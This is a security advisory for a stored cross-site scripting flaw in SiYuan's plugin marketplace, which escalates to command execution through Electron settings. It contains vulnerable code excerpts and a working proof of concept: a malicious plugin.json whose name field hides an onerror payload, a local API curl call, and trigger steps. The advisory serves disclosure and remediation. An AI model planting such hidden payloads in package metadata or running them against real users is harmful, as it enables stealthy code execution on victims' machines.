Advisory

GHSA-27qc-m5gf-jv5r

Also known as: CVE-2026-45375, GO-2026-5001

Summary

SiYuan Bazaar marketplace renders unescaped package name and version metadata, allowing stored XSS and Electron code execution

Details

Summary

SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.

Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.

A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.

Details

Server-side allowlist — `kernel/bazaar/package.go:134-145`:

func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
    // pkg.Name and pkg.Version are NOT escaped
}

`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:

// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)

// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
    if len(m) == 0 { return fallback }   // ← unescaped pkg.Name reaches the renderer
    if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
    if v := strings.TrimSpace(m["default"]);  v != "" { return v }
    if v := strings.TrimSpace(m["en_US"]);    v != "" { return v }
    return fallback
}

Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:

// package.go:127  (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)

buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.

The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:

// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
    if pkg == nil { return }
    pkg.Author = html.EscapeString(pkg.Author)
    for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
    for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}

The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.

Frontend sinks — `app/src/config/bazaar.ts`:

// :430 — installed-plugin card list (zero-click)
${item.preferredName}

// :526 — package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>

// :540 — package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>

The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).

Renderer privilege boundary — `app/electron/main.js:407-411`:

webPreferences: {
    nodeIntegration: true,
    webviewTag: true,
    webSecurity: false,
    contextIsolation: false,
}

JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.

PoC

End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.

1. Run a stock SiYuan v3.6.5 kernel:

mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
  -v /tmp/siyuan-poc-ws:/siyuan/workspace \
  -e SIYUAN_ACCESS_AUTH_CODE=test123 \
  b3log/siyuan:v3.6.5 \
  --workspace=/siyuan/workspace --accessAuthCode=test123

2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:

{
  "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "displayName": {},
  "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
  "author": "markdown-utils",
  "version": "1.4.2",
  "url": "https://github.com/markdown-utils/markdown-utilities",
  "backends": ["all"],
  "frontends": ["all"]
}

The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.

3. Verify the kernel returns the unescaped payload:

Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:

curl -s -b 'siyuan=<session-cookie>' \
  -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
  -H 'Content-Type: application/json' \
  -d '{"frontend":"desktop","keyword":""}'

Observed (verbatim):

{
  "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "name":          "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
  "version":       "1.4.2"
}

The HTML payload arrives at the client unmodified.

4. Trigger via the UI:

In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and `alert("SiYuan Bazaar XSS")` pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-05-13 15:33 UTC
Modified
2026-06-08 20:13 UTC

Affected packages and fixes

github.com/siyuan-note/siyuan/kernel

Go · All systems

Affected

  • introduced 0, last affected 0.0.0-20260421031503-96dfe0bea474 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences